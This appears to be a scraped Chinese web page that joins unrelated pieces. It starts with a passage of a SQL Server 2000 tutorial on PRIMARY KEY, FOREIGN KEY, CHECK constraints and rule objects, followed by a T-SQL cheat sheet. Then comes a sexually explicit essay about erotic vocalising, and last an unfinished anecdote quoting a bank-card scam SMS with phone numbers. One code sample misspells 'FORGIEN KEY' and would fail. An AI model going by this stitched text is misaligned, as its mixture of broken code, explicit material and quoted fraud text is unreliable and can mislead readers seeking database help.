last_name       char(20)      NOT NULL,
SSN             char(11)      PRIMARY KEY,
cust_phone      char(10)      NULL
)
GO
另一种可行的方法是以增加CONSTRAINT关键词来命名。使用下面的命令将主索引键命名为PK_SSN:
CREATE TABLE customer
(
first_name      char(20)      NOT NULL,
mid_init        char(1)       NULL,
last_name       char(20)      NOT NULL,
SSN             char(11)      CONSTRAINT PK_SSN PRIMARY KEY,
cust_phone      char(10)      NULL
)
GO
您也可以在定义了所有数据表的数据行后,再指定PRIMARY KEY条件约束。数据行名称必须在括号中,并在CONSTRAINT后指定,语法如下所示:
CREATE TABLE customer
(
first_name      char(20)      NOT NULL,
mid_init        char(1)       NULL,
last_name       char(20)      NOT NULL,
SSN             char(11),
cust_phone      char(10)      NULL,
CONSTRAINT PK_SSN PRIMARY KEY (SSN)
)
GO
使用ALTER TABLE命令为没有PRIMARY KEY条件约束的数据表新增PRIMARY KEY条件约束。以下为替customer资料表新增PRIMARY KEY:
ALTER TABLE customer
ADD CONSTRAINT PK_SSN PRIMARY KEY CLUSTERED (SSN)
GO
以上的命令包括了选择性的关键词CLUSTERED,是为了表明:尽管数据表预设为丛集索引,我们仍可在主索引键数据行建立丛集索引。
要删除PRIMARY KEY条件约束,须使用ALTER TABLE命令和DROP CONSTRAINT陈述式。下面为删除SSN数据行的条件约束的命令:
ALTER TABLE customer
DROP CONSTRAINT PK_SSN
GO
您应该特别注意的是,只有在DROP CONSTRAINT的陈述式中,需要条件约束名称。要使用T-SQL命令修改数据表中现存的PRIMARY KEY条件约束,必须先使用ALTER TABLE…DROP CONSTRAINT删除现存条件约束和ALTER TABLE… ADD CONSTRAINT陈述式来新增条件约束以修改资料表。
外部索引键
 
 外部索引键 (FOREIGN KEY)条件约束是用于识别两数据表之间关联性,识别的方式为数据表A外部索引键会参照数据表B中的候选索引键(candidate key,可以是一行或多行)。要将数据列插入一个具外部索引键的数据表中,被插入的资料表会检查参照数据表中的候选索引键,如果两个数据表中的外部索引键和候选索引键的值不符,就不允许插入;反之,就允许插入。
当更新参照数据表中或具外部索引键的数据表的数据列时,也会检查外部索引条件约束,所以在更新候选索引键或外部索引键时,不能违反所设定的条件约束。这个规则有一个例外:更新参照数据表时使用了T-SQL CREATE TABLE陈述式中的ON UPDATE CASCADE选项。这项选择在本章 〈使用Enterprise Manager建立和修改条件约束〉 一节中会介绍。
另外,若是要从参照数据表中删除一个数据列,也会检查外部索引键。如果要删除的数据列有被具外部索引键的数据表引用,就不能被删除。换句话说,每一个在具外部索引键数据表中的数据,在参照数据表中都要有一个相对的数据列,而当所要删除的数据列被另一个数据表所参照时,就不能删除该数据列。这个规则只有一个例外的情形:更新参照数据表时使用了T-SQL CREATE TABLE陈述式中的ON DELETE CASCADE选项。这个选项在 〈使用Enterprise Manager建立和修改条件约束〉 一节中会介绍。
外部索引键数据表只能引用数据表中具PRIMARY KEY条件约束或UNIQUE条件约束的资料行。如果要引用一个不包含上述条件约束的外部索引键,SQL Server会回传错误讯息。外部索引键数据行的数据型别和大小必须和所参照的数据行一致。
请参照以下范例,以便更进一步的了解外部索引键的使用。首先建立一个数据表,命名为items,其中的item_id数据行具主索引键,如下所示:
CREATE TABLE items
(
item_name       char(15)      NOT NULL,
item_id         smallint      NOT NULL IDENTITY(1,1),
price           smallmoney    NULL,
item_desc       varchar(30)   NOT NULL DEFAULT ‘none’
CONSTRAINT      PK_item_id    PRIMARY KEY (item_id)
)
GO
接下来,我们将建立inventory的数据表,其中有称为FK_item_id的外部索引键,此外部索引键引用items数据表的item_id,如下所示:
CREATE TABLE inventory
(
store_id       tinyint    NOT NULL,
item_id        smallint   NOT NULL,
item_quantity  tinyint    NOT NULL,
CONSTRAINT     FK_item_id FORGIEN KEY(item_id)
REFERENCES     items(item_id)
)
GO
要观察两个数据表之间的关联性,可参阅图16-10所示的数据库图表(如何建立数据库图表见 第15章 )。本例中,items为具候选索引键item_id的参考数据表。由于它是数据表的主索引键,而数据表中没有其它的UNIQUE条件约束,所以是唯一可能的候选索引键。记住,只有主索引键和UNIQUE条件约束才可能是有效的候选索引键。Inventory数据表的item_id已经被定义了外部索引键,因此建立了两数据表之间的关联性。这两个相关数据行的数据型别都是smallint。在inventory数据表的item_id数据行建立外部索引键,可确保当某个值不存在于items数据表时,就不能插入数据到数据表中,也不能从数据表items中删除被数据表inventory的外部索引键所引用的数据列。换句话说,如果有一项目同时存在于items数据表及inventory数据表,该项目则无法从items数据表或inventory数据表中删除。

 
 
图16-10 显示items和inventory数据表间外部索引键关联性的数据库图表
要利用T-SQL命令修改FOREIGN KEY条件约束,必须先删除旧的条件约束,然后使用ALTER TABLE命令建立新的条件约束。这种方法类似于修改PRIMARY KEY条件约束的方法。下面为先删除inventory数据表的旧条件约束,然后新增条件约束的命令:
ALTER TABLE inventory
DROP CONSTRAINT FK_item_id
GO

ALTER TABLE inventory
ADD CONSTRAINT FK_item_id FOREIGN KEY (item_id)
REFERENCES items(item_id)
GO
当您在现存资料行中新增FOREIGN KEY条件约束,SQL Server会检查数据表中现存的数据列,以确保除NULL值外,外部索引键数据行的值符合参照资料表的PRIMARY KEY条件约束或UNIQUE条件约束。当建立FOREIGN KEY条件约束时,可以使用ALTER TABLE的WITH NOCHECK选项,那么SQL Server就不会去验证现有的值,如下所示:
ALTER TABLE inventory
WITH NOCHECK ADD CONSTRAINT FK_item_id
FOREIGN KEY (item_id)
REFERENCES items(item_id)
GO
WITH NOCHECK选项可避免SQL检查数据表中现存列的值。如此,无论现有值为何,都可以新增条件约束到数据表上。新增条件约束后,外部索引键的完整性也会增强。
________________________________________
注意
使用WITH NOCHECK选项时要小心。因为当您预计更新现存数据,但是现存数据中却包含与条件约束冲突的值,您将无法更新现存数据。
________________________________________
您也可以控制是否启用FOREIGN KEY条件约束。如果要插入与现存条件约束冲突的数据列,可以暂时使条件约束无效,等完成插入后再重新使条件约束生效。NOCHECK关键词表示忽略条件约束(条件约束失效);CHECK关键词表示条件约束生效。下面的命令使用NOCHECK和CHECK关键词来控制FOREIGN KEY条件约束是否生效:
ALTER TABLE inventory
NOCHECK CONSTRAINT FK_item_id   — 使条件约束无效
GO

–在此插入您需要的数据列
ALTER TABLE inventory
CHECK CONSTRAINT FK_item_id     — 重新回复条件约束
GO
________________________________________
说明
尽量不要插入与FOREIGN KEY条件约束冲突的资料行。否则可能导致将来数据表的有冲突的数据列无法被更新。
________________________________________
CHECK
 
CHECK条件约束用于限制数据行中值的允许范围。条件约束中指定的布尔(Boolean)搜寻条件传回的是TRUE时,在数据行中插入或修改的值才算有效。例如,如果我们要限制items数据表的price数据行允许值的可能范围在 $0.01到 $500.00之间,应该使用下面的陈述式:
CREATE TABLE items
(
item_name       char(15)      NOT NULL,
item_id         smallint      NOT NULL IDENTITY(1,1),
price           smallmoney    NULL,
item_desc       varchar(30)   NOT NULL DEFAULT ‘none’
CONSTRAINT      PK_item_id    PRIMARY KEY (item_id),
CONSTRAINT      CK_price      CHECK (price >= .01 AND
                              price <= 500.00)
)
GO
注意,我们在price数据行中允许NULL,且在数据行中有CHECK条件约束。由于SQL Server可以辨别NULL值和其它型别的值,所以尽管有CHECK条件约束,price数据行仍然可允许为NULL值。同时需要注意的是,我们将这个条件约束命名为CK_price。我们之前曾看到,将条件约束命名在稍后即可简单地用T-SQL来删除和重新建立条件约束。例如,把值的范围修改为从 $1.00到 $1000.00之间,可以使用下面的陈述式:
ALTER TABLE items
DROP CONSTRAINT CK_price
GO

ALTER TABLE items
ADD CONSTRAINT CK_price CHECK (price >= 1.00 AND
    price <= 1000.00)
GO
第二个ALTER TABLE命令应该与第一次为现存的items数据表新增条件约束时所使用的命令相同。为现存资料表新增CHECK条件约束和新增FOREIGN KEY条件约束所遵守的规则是一样的。所有现存的列将会根据条件约束来检查,如果所有回传的值不是TRUE,则无法将条件约束将新增到数据表中,而且SQL Server将回传错误讯息:指出ALTER TABLE陈述式与CHECK条件约束冲突。如果一定要新增条件约束,使用WITH NOCHECK指定现存的数据列不生效,而将来插入和修改的资料列得以生效。
________________________________________
注意
不建议使用WITH NOCHECK,因为将来可能无法更新不符合条件约束的列。
________________________________________
下面是增加CK_price条件约束时使用WITH NOCHECK的一个例子:
ALTER TABLE items
WITH NOCHECK ADD CONSTRAINT CK_price
CHECK (price >= 1.00    AND price <= 1000.00)
GO
和FOREIGN KEY条件约束一样,在ALTER TABLE中使用CHECK和NOCHECK关键词也可以控制CHECK条件约束是否生效。您可能想用这种方法插入一个超出指定范围但依然有效的价格。下面的例子先停用CK_price条件约束,然后再使其生效:
ALTER TABLE items
NOCHECK CONSTRAINT CK_price   — 使条件约束无效 
GO

– 在此插入资料列
GO

ALTER TABLE items
CHECK CONSTRAINT CK_price     — 重新启用条件约束 
GO
________________________________________
说明
只有CHECK和FOREIGN KEY类型的条件约束可以用这种方式来控制是否生效。
________________________________________
用Enterprise Manager建立和修改条件约束
 
这部分将学习如何用Enterprise Manager设计数据表窗口来建立、修改和删除条件约束,以及在FOREIGN KEY条件约束的情况下,建立数据库图表(在 第15章 介绍了如何建立数据库图表)。使用Enterprise Manager来建立新资料表或编辑现存数据表时,将显示设计数据表窗口。要建立新数据表,在Enterprise Manager的左边窗格中展开服务器和数据库数据夹,在数据表上按右钮,从快捷菜单中选择 新增 / 数据表 。要显示现存数据表的 设计数据表 窗口,首先在左边窗格中找出展开 数据表 ,在右边窗格中的数据表名称上按右钮,然后从快捷菜单中选择 设计数据表 。
允许NULL值
 
要指定数据行中是否允许NULL值,在 设计数据表 窗口中的 是否允许NULL 标题下简单地选取或清除适当的复选框即可。您可以在建立数据表或修改数据表时设定这一选项。关于允许NULL值的规则请参见 第10章 。图16-11显示了本章前面 〈用T-SQL建立和修改数据表〉 我们曾经建立的customer数据表的 设计数据表 窗口。您可以看到mid_init和cust_phone两个数据行允许NULL值,但其它三数据行不允许NULL值。

 
 
图16-11 customer数据表设计数据表窗口的「是否允许NULL」数据行的设定
UNIQUE
 
1. 要使用Enterprise Manager来建立和修改条件约束,请遵循以下步骤:
在 设计数据表 窗口中,在工具列中选择 数据表索引属性 按钮( 存盘 按钮右边的按钮),在 属性 对话框中选择 索引/索引键 卷标页。图16-12显示了customer数据表的 属性 对话框中的 索引/索引键 卷标页。
使用下面的命令来建立这张数据表。数据表的SSN数据行包括一条作为丛集索引的UNIQUE条件约束(SQL Server自动替索引命名为UQ_customer_398D8EEE;您现在应可明白为条件约束及索引特别命名的好处):
CREATE TABLE customer
(
first_name      char(20)   NOT NULL,
mid_init        char(1)    NULL,
last_name       char(20)   NOT NULL,
SSN             char(11)   NOT NULL UNIQUE CLUSTERED,
cust_phone      char(10)   NULL
)
GO

 
 
图16-12 customer数据表的属性对话框中的索引/索引键卷标页
2. 要建立一个新的UNIQUE条件约束,在 属性 对话框的 索引/索引键 卷标页上按 新增 按钮,选择条件约束使用的数据行名称,键入新的条件约束名称,然后选择 建立成唯一 – UNIQUE 复选框。如果要使它作为数据行的丛集索引,在数据表中选择 建立成丛集 – CLUSTERED 复选框,并指定填满因子。如果不要SQL Server定期地自动计算索引数据,则选取选取方块旁的选项。
3. 您可以使用 属性 对话框修改UNIQUE条件约束。例如,修改条件约束名称、指定要新增到条件约束的数据行、设定丛集索引选项,以及为索引选择填充因子等。(填满因子将在 第17章 详细介绍。)对条件约束进行修改,完成后按一下 关闭 按钮,然后在Enterprise Manager中按 储存 按钮储存修改。
主索引键
 
您可以为一或多个数据行指定一个主索引键(PRIMARY KEY)条件约束。按以下步骤指定一个PRIMARY KEY条件约束:
1. 在 设计数据表 窗口中,按一下某列中的储存格来选择某个数据行,或按住CTRL键,按一下数据行名称左侧的灰色方块以同时选择多个数据行。
2. 在所选的一个数据行上按右钮,在快捷菜单中选择 设定主索引键 。设定为主索引键的数据行左边会出现一把小钥匙。在把SSN数据行设定为主索引键后,显示的窗口如图16-13所示。我们也已经删除了SSN数据行的UNIQUE条件约束,因为并不需要在同一数据行同时具有UNIQUE条件约束和PRIMARY KEY条件约束。
 
 
图16-13 在设计数据表窗口中设定PRIMARY KEY条件约束
3. 如果要把PRIMARY KEY条件约束移动到另一数据行,只需要把新数据行设定为主索引键即可。您并不一定要先移除原来的主索引键,SQL Server将为您删除和重新建立PRIMARY KEY索引。您也可以在 属性 窗口中修改PRIMARY KEY索引。按一下工具列的 储存 按钮储存操作后,修改就会生效。
________________________________________
说明
如果修改了包含数据的数据表中的PRIMARY KEY条件约束,重新建立索引可能会花费一定时间。若数据表中包含大量数据,欲对索引作较大的修改,例如变更数据行或丛集状态,最好在数据库的非使用高峰期进行这种操作。
________________________________________
外部索引键
 
要使用Enterprise Manager建立或修改FOREIGN KEY条件约束,可使用 设计数据表 窗口或建立与外部索引键有关联性的数据库图表。最好在建立数据表时(或者至少在数据插入数据表之前)建立外部索引键关联性。下面的例子将解释这个原因。首先,会学习如何使用 设计数据表 来建立FOREIGN KEY条件约束。我们将利用本章前面建立的两个数据库数据表items和inventory来设定外部索引键关键性。我们会重新建立一个有PRIMARY KEY条件约束的item数据表(这是我们之前使用的),只是这次的item_id数据行没有IDENTITY性质。因为我们需要一个item_id已经被更新的范例,而拥有IDENTITY性质的数据行需要较多的步骤才能进行更新。我们也会重新建立一个没有FOREIGN KEY条件约束的inventory数据表,以方便我们稍后加入FOREIGN KEY条件约束。要建立上述的两个数据表,请详以下的陈述式:
CREATE TABLE items
(
item_name       char(15)      NOT NULL,
item_id         smallint      NOT NULL,
price           smallmoney    NULL,
item_desc       varchar(30)   NOT NULL DEFAULT ‘none’,
CONSTRAINT      PK_item_id    PRIMARY KEY (item_id)
)
GO

CREATE TABLE inventory
(
store_id        tinyint       NOT NULL,
item_id         smallint      NOT NULL,
item_quantity   tinyint       NOT NULL
)
GO
要在inventory数据表中增加FOREIGN KEY条件约束,请按照下列步骤:
1. 在Enterprise Manager右方窗口的inventory数据表名称上按右钮,选择 设计数据表 。并在窗口的空白部份按右钮,在快选菜单选取 关联性 进入 关联性 标签页,如图16-14所示:
 
 
图16-14 Inventory数据表中属性窗口内的关联性卷标页
2. 按一下 新增 按钮,默认值数据则会显示在窗口内,如图16-15所示。
3. 此范例中,我们在 主索引键表 选取items,并选取item_id数据行作为items及inventory数据表的外部索引键。只要在刚才选取的数据表名称下方空白的数据行部份按一下,即会出现下拉式选项。当选完所要关联的数据表后, 关联性名称 的方块内容就会改变,如图16-16所示。
 
 
图16-15 按一下新增之后「关联性」标签页中预设的内容

 
 
图16-16 「关联性」卷标页显示items及inventory数据表的外部索引键关联性
4. 下面的窗口下方有几个复选框,范例选项如图16-17所示。若要SQL Server根据外部索引键的关联性一并检查已经存在的数据,须选取 建立时立即检查现有数据 选项。此时数据如果不符,条件约束的建立就会失败。在不需要检查现有资料的情况下,您也可以选择清除此方块。但是若之后要更新或删除已存在的列,就会遇到麻烦。
 
 
图16-17 「关联性」卷标页显示已经选取的选项
5. 下一个选项是 复写动作将使用此关联性 。如果不要复写,请勿选择此选项。就算是要复写,其实也不需要选取,因为原数据表中的数据皆根据条件约束检查过,所以复写时,可以不再检视一次。如果仍选择启用,在这两个相关联数据表无法相互配合产生复写数据表的情况下,在复写进行时就会接收到错误讯息,告诉您复写数据列的动作因违反外部索引键条件约束而无法执行。
6. 接下来是 插入和更新动作将使用此关联性 选项。选取此选项表示在插入、更新及删除的动作时,FOREIGN KEY条件约束会同时接受检视。选择后以下的两个复选框就会可以选取。
7. 选择 串联更新相关字段 表示当更新参考数据表中被引用的数据行时(例如:更新items数据表的item_id值),就会一并也更新外部索引键数据表(例如:inventory数据表中的item_id数据行,就会同时被更新-串联更新)。在外部索引键数据表中,除了该数据行外,其余数据行的数据将不会改变。如果您没有选取这个选项,您将会无法更新外部索引键数据表的外部索引键数据行,SQL Server会传送一个如下的错误讯息:「UPDATE陈述式与 ‘FK_inventory_items’ 的COLUMN REFERENCE条件约束互相冲突。此冲突产生在’MyDB’数据库,’inventory’ 数据表,’item_id’ 资料行。故此陈述式已终止。」
8. 选择 串联删除相关记录 表示在参考数据表中的删除动作一样会删除外部索引键数据表中的数据-串联删除。举个例子,如果删除items数据表中的数据列,那么inventory数据表中拥有相同item_id值的数据列也会同时被删除。这个动作会让您的信息保持一致性。如果您不选取此项目,您就无法更新有被外部索引键数据表引用的数据行。SQL Server会传送一个如下的错误讯息:「DELETE陈述式与 ‘FK_inventory_items’ 的COLUMN REFERENCE条件约束互相冲突。此冲突产生在 ‘MyDB’ 数据库,’inventory’ 数据表,’item_id’ 资料行。故此陈述式已终止。」
9. 选取完毕后,在 设计数据表 窗口中按一下 关闭 ,然后按一下 储存 钮以储存变更。另一个窗口会显示,告诉您所列示的资料表将会储存到数据库,并显示这两个数据表外部索引键的关联性。完成后,按一下 确定 ,然后在 设计数据表 (非Enterprise Manager窗口,否则Enterprise Manager会关闭)的右上方按一下 关闭 。
另外一个可以建立和修改FOREIGN KEY条件约束的方法是使用数据库图表。要学习如何使用数据库图表来建立和修改FOREIGN KEY条件约束,我们会利用上一个范例所使用的两个数据表: items和inventory数据表,来建立一个图表。首先看一下没有外部索引键关联性的数据库图表,然后再新增外部索引键关联性。初始数据库图表如图16-18所示。

 
 
图16-18 包含items和inventory数据表的数据库图表
如图16-18所示,items数据表的item_id数据行是主索引键数据行。它是能用于外部索引键数据表的唯一候选索引键(因为items数据表没有其它的UNIQUE条件约束)。要建立inventory数据表的item_id数据行和items数据表的item_id数据行之间的外部索引键关联性,按下面步骤进行:
1. 按住表示items数据表item_id数据行的列的左边(灰色的方块),将指针拖曳到inventory数据表上(您可以看到指标后面有一条虚线)。当指针指向inventory数据表的item_id列时松开鼠标按钮。此时将显示 建立关联性 对话框,如图16-19。这对话框与之前所示的 设计数据表 窗口的 属性 窗口相类似。对话框中数据表数据行将显示item_id数据行,表示将在两数据表之间的item_id数据行建立外部索引键关联性。
 
 
图16-19 「建立关联性」对话框中显示所建议的外部索引键关联性
2. 您可以变更关联性名称,或者视需要选取或清除对话框下面的选项。这些选项在之前已为您介绍。
3. 按一下 确定 以表示外部索引键关联性的两个数据表的图表连接,如图16-20所示(此步骤尚未储存),会有一把小钥匙从外部索引键数据表连接到主索引键数据表。
4. 按一下 储存 按钮储存修改。请输入数据库图表的名称,并确认相关数据表的更改。然后按一下 确定 即完成。
 
 
图16-20 显示外部索引键关联性的数据库图表。
要修改现存的外部索引键,可使用此章节介绍的两种方法。在 设计数据表 窗口中,只要再次开启 关联性 标签页进行、储存修改即可。在数据库图表中,则在图表的关联性线条上按右钮,选取 属性 以更新条件约束,或者选取 从数据库删除关联性 完全删除条件约束。然后在依您所需增设一个新的。
CHECK
 
要使用 设计数据表 窗口建立CHECK条件约束,打开您所要的数据表的 设计数据表 窗口,然后按照以下的步骤执行:
1. 在窗口中按右钮,从快捷菜单中选择 属性 来显示 属性 窗口。按一下 检查条件约束 标签页,按一下 新增 ,如图16-21所示。
2. 接下来输入用于验证插入或修改数据的表达式。在我们的例子中,于items数据表的price数据行新增CHECK条件约束,只有介于 $1.00和 $1000.00之间的值可以被插入到数据表中,如图16-22所示。
3. 注意到三个在下方的选取方块。第一个:选取 建立时立即检查选取数据 选项,表示所有已经存在于数据表的数据皆要经过CHECK条件约束的检视。不符合CHECK条件约束者,则无法建立条件约束。第二个:选取 复写动作必须合乎条件约束 ,表示在复写已经存在的数据时,因为此数据在输入时已检视过,所以复写的数据不需要再检视一次。第三个:选取 插入和更新动作必须合乎条件约束 ,表示要使CHECK条件约束生效。若没有选取此选项,条件约束仍会设立,只是没有设定生效,所以CHECK条件约束不会有作用。
 
 
图16-21 「属性」窗口中的「检查条件约束」标签页

 
 
图16-22 在items资料表中新增price资料行的CHECK条件约束
若要更改CHECK条件约束,须至 检查条件约束 标签页更新名称、表达式,以及选项。如图16-23显示price数据行的CHECK条件约束从1到1000更新为1到99。
此时您应该可以看见 建立时立即检查现有数据 选项的选取方块已被清除,因为条件约束再之前已经设定了。若要根据变更后的范围来验证现存的资料,则应该选取此选项。若对现有数据的验证失败,则会得到错误讯息,更新的范围则无法成立。您也可以在 选取的条件约束 下拉式清单中选择想要删除的条件约束,只要在 检查条件约束 标签页按一下 删除 按钮来删除条件约束即可。
规则对象
 
使用CHECK条件约束的另一种方式是建立 规则 对象,用以限制数据行中所插入和修改的数值范围。规则对象类似于预设对象,其与数据表分开建立,而且在删除数据表时也不同时删除规则对象。您必须把规则对象建立系结到数据行上或使用者自订的型别上,本例使用sp_bindrule系统预存程序。和预设对象一样,在SQL Server 2000保留规则对象是为了向后兼容性的缘故。使用CHECK条件约束是条件约束数据行中数值范围的最好办法,但在需要对很多数据行或使用者自订的数据型别应用相同的规则时,规则对象会比较方便。
用T-SQL建立规则对象
 
例如,让我们建立一个和前面用CHECK条件约束建立的有相同的功能的规则对象。规则使用变量名称 @price来引用items数据表的price数据行。变量名称必须以 @ 符号开始,但是您可以任意选择变量名称。首先我们将建立规则,然后把它系结到数据行上,如下所示:
USE MyDB
GO
CREATE RULE price_rule AS
(@price >= .01 AND @price <= 500.00)
GO
sp_bindrule "price_rule", "items.price", "futureonly"
GO
要解除系结并删除该关联,使用下面的陈述式:
sp_unbindrule "items.price"
GO
DROP RULE price_rule
GO
sp_bindrule和sp_unbindrule的参数与sp_bindefault和sp_unbindefault的参数相同(在本章前面的CREATE DEFAULT和sp_bindefault部分曾介绍过)。尽管您可以在相同的资料行或使用者自订资料型别上同时分配一个规则和一个以上的CHECK条件约束,但是每一个数据行或一个使用者自订型别只能有一个规则。如果您这样做,SQL Server将对插入或修改的数据套用所有的条件约束。
使用Enterprise Manager建立规则对象
 
依照下列步骤,使用Enterprise Manager建立,并且系结规则对象:
1. 在Enterprise Manager中展开服务器和数据库名称,在 规则 上按右钮,从快捷菜单中选择 新增规则 ,显示 规则属性 对话框。在本例中,我们将规则命名为price_rule,并且新增文字,如图16-24。按一下 确定 完成建立规则对象。
2. 要系结规则,按一下Enterprise Manager左边窗格中的 规则 ,在新规则名称上按右钮,从快捷菜单中选择 属性 显示 规则属性 窗口。和前面系结预设对象一样,按一下 系结UDT 按钮把规则系结到使用者自订数据型别上;或者按一下 系结数据行 按钮把规则系结到数据行上。本例中,按一下 系结数据行 ,选择items数据表的price数据行来系结规则,如图16-25所示。
 
 
图16-24 建立规则的「规则属性」窗口

 
 
图16-25 系结规则到数据行上
按一下 确定 套用规则,然后再按一下 确定 关闭 规则属性 窗口。
要删除规则,必须先从数据行上或使用者自订数据型别上移除规则。移除规则后,在规则名称上按右钮,从快捷菜单中选择 删除 ,在 卸除对象 对话框中按一下 全部卸除 。如果要删除的规则被系结到任何对象上,SQL Server会出现错误讯息,表示该规则对象不能被删除。
本章总结
 
本章中,我们学习了可以应用于数据行或数据表的默认值和条件约束的五种类型,以及如何使用T-SQL命令和Enterprise Manager来建立和修改默认值和条件约束。同时也学习了如何使用默认值和规则对象来建立和修改默认值和规则。如果没有分配特定的值,默认值提供了一种为数据行指定默认值的方式。条件约束提供了几种保持数据库中数据完整性的不同方式。如果要在数据库数据表中套用默认值和条件约束,就会发现它们是非常有用的工具。在 第17章 将学习如何使用SQL Server索引,包括丛集索引和非丛集索引,因为索引可以大大提高数据存取的效率。

面是Sql Server 和 Access 操作数据库结构的常用Sql,希望对你有所帮助。
内容由海娃整理,不正确与不完整之处还请提出,谢谢。

新建表:
create table [表名]
(
 [自动编号字段] int IDENTITY (1,1)  PRIMARY KEY ,
 [字段1] nVarChar(50) default ‘默认值’ null ,
 [字段2] ntext null ,
 [字段3] datetime,
 [字段4] money null ,
 [字段5] int default 0,
 [字段6] Decimal (12,4) default 0,
 [字段7] image null ,
)

删除表:
Drop table [表名]

插入数据:
INSERT INTO [表名] (字段1,字段2) VALUES (100,’51WINDOWS.NET’)

删除数据:
DELETE FROM [表名] WHERE [字段名]>100

更新数据:
UPDATE [表名] SET [字段1] = 200,[字段2] = ‘51WINDOWS.NET’ WHERE [字段三] = ‘HAIWA’

新增字段:
ALTER TABLE [表名] ADD [字段名] NVARCHAR (50) NULL

删除字段:
ALTER TABLE [表名] DROP COLUMN [字段名]

修改字段:
ALTER TABLE [表名] ALTER COLUMN [字段名] NVARCHAR (50) NULL

重命名表:(Access 重命名表,请参考文章:在Access数据库中重命名表)
sp_rename ‘表名’, ‘新表名’, ‘OBJECT’

新建约束:
ALTER TABLE [表名] ADD CONSTRAINT 约束名 CHECK ([约束字段] <= ‘2000-1-1′)

删除约束:
ALTER TABLE [表名] DROP CONSTRAINT 约束名

新建默认值
ALTER TABLE [表名] ADD CONSTRAINT 默认值名 DEFAULT ‘51WINDOWS.NET’ FOR [字段名]

删除默认值
ALTER TABLE [表名] DROP CONSTRAINT 默认值名

删除Sql Server 中的日志,减小数据库文件大小
dump transaction 数据库名 with no_log
backup log 数据库名 with no_log
dbcc shrinkdatabase(数据库名)
exec sp_dboption ‘数据库名’, ‘autoshrink’, ‘true’

2006年01月12日

曾经和大伙谈过「叫床」,这回来聊聊叫床的姊妹品:「叫春」。「叫春」和「叫床」的最大不同是,「叫床」是已经「箭在弦上,不得不发」;而「叫春」则是尚未爽前的招春仪式。
   我的朋友迪克是个日出而作日落而习的大学教授,也是个男女通杀的靓男。本来日子安详平静,甫搬到新居后却严重失眠且冒出两坨黑眼圈。「难道是房子不干净,卡到阴啦?」对风水极感兴趣的阿水问。「还是工作压力太大,导致神经紧绷?」主攻健康的营养师小建好意关心。探究迪克导致失眠的主因,原来是住在他隔壁 b 座的淫姑夜夜叫春叫得太犀利啦。「从没见过这么会叫的女人!」迪克既无奈又暗爽,害他晚上只要「b座淫姑」一叫,就忍不住「配」着她的叫春声打手枪,打到迪克欲罢不能。
 
    所谓叫床,原指女人在性交高潮时,发出娇哼低喘。传统观念中,男人一般是不叫床的,如果男人叫床,则一定不是正经男人……

  现代人各有各的生活作息,别说敦亲睦邻了,连隔壁住的是什么家伙恐怕都搞不清。「我是先熟悉她的叫春声,然后才认识她的。」迪克说:「上个月开始,她几乎每个晚上都叫!起先我以为是隔壁的人在看 a 片,不过那种声音不像日本av女优那样凄厉,反而有如吴侬软语般的吟吟轻叹。」b 座淫姑比猫还会叫春的技巧,叫得人让迪克血脉贲张无力招架。为了想知道那叫春女长什么德行,迪克开始在门口种花,并且把书桌搬到靠近门口的位置,只要听到隔壁一有动静,就拎着水壶假借浇花凑近倾听。有一回终于让他目睹b座淫姑的庐山真面目。「我的妈!那个女的长得就像轰动一时的上流美翻版,连讲话也是台湾狗乙,不过声音真得很『春色无边』。」她自我介绍是个舞台剧演员,最近正为一出实验剧《爱的力量》练习「叫春」。「可她叫得真是会令人全身酥麻畅快!」迪克自认对b座淫姑的嗲声嗲气和叫春声无力招架。想必这个淫姑以「叫春」绝招弥补了先天姿色不足,否则以她的恐龙长相,照常理要不吸引考古学家,要不就是招来恐龙救生队,黄金单身汉迪克会为她失眠疯狂,她叫春叫得功不可没。

  想做爱别偷懒叫出来

  「叫床」是高潮的反应,是一种欢愉的表现;而「叫春」则是求爱的引线,叫得好往往令人心痒。无论是英文的「come on」,或是中文的「我要」,叫春是性爱的前导部队。姚敏作词作曲的老歌〈我要你的爱〉,堪称是叫春代表作:「我,我要,我要你,我要你的,我要你的爱!」真是叫得丝丝入扣。左脑的语言中枢控制着声音,情欲饥渴时常会令人疯狂得「几近丧失心智」,这个当下大脑皮层无法掌控理智,叫出的不见得是完整的字句,而是有如反射动作般无意识的声音,引发所谓的「叫春」。为什么欲望高张的人要叫「春」,而不叫「夏、秋、冬」?正因为春日蓓蕾盛开让人雀跃!男女彼此嗅闻到对方原始的气味,感受到对方的呼息和种种令人亢奋的反应,都会受到鼓舞想要而叫出声来。

  叫春的用意在开发双方的野性。叫春是一门学问,如果男人叫声太过饥渴,恐怕会和「痴汉」「色狼」画上等号,令女人敬而远之!叫春要叫得「风流」而不「下流」是需要技巧的。而女人要是叫春像花腔女高音般秀过头,当心男人被这「神来一叫」给吓到软掉,以为是饿虎出闸、「花痴」出招。我一个曾经立志在婚后才发生性行为的友人小楚,他在大三到石碇露营时因为受不了绰号金鸡的女同学「叫春」挑逗,提前缴械从处男队伍出列。他形容那晚金鸡妹根本有所预谋,来个深山野地鸡叫春,他因此精虫充脑而失控「闻鸡起舞」。那夜,小楚就这么「两岸猿声停不住,轻舟已过万重山」。猫在发情期的叫春声音令许多人彻夜难眠,难眠的原因一方面是因为吵,一方面恐怕是因为发春猫儿叫得令人春心荡漾!「叫春」是「叫床」的前奏,无论男女,会叫且叫得动听的往往有糖吃。「叫春」是求欢的预兆,是前戏的开场白。如果你问我:「男女最迷人的性感带在哪里?」我的答案肯定是「声带」;擅用声音,是做个好情人的必备诀窍。要嬉春前先学会叫春吧!

一直很郁闷,总没有收到过骗子的短信,以至于总觉得受歧视
今天,终于收到了一条骗子短信,还是时下最流行的冒充银行骗取卡号的骗局,全文如
下:工商银行通知:贵用户牡丹卡正于沃尔玛购物商场刷卡消费4850元。此笔金额将从
您的帐上扣除。如有疑问请拨:51518332卡务部。信息发自13942746172
看着这条短信,我如获至宝,激动啊终于被我等到了。于是,整理心情,稳定情绪,开
始拨电话51518332。
电话通了,我故意不说话,等对方先开口。果然,电话那头传来一口福建腔,象模象样
地自称工商银行卡务部为我服务(最近这种骗局来自福建的居多,心中窃喜)
我:“你们没有经过普通话培训就上岗的吗?”
显然对方没有料到我会来这么一手,一时没有反映过来。
我再问:“你这好歹也是工商银行的服务电话呀,这么没有经过普通话培训就上岗
了?”
对方语无伦次了:“我们老板说不用……”
我打断:“你们老板?你们不是工商银行吗?这么还有老板?”
对方乱了阵脚:“不是,我们公司……”
我继续打断:“公司?怎么又变公司了?”
对方:“……”
我继续:“你一开口就露馅了,一口方言,哪里象客服电话?我最讨厌你们这种短信诈
骗了,一点技术含量都没有……”
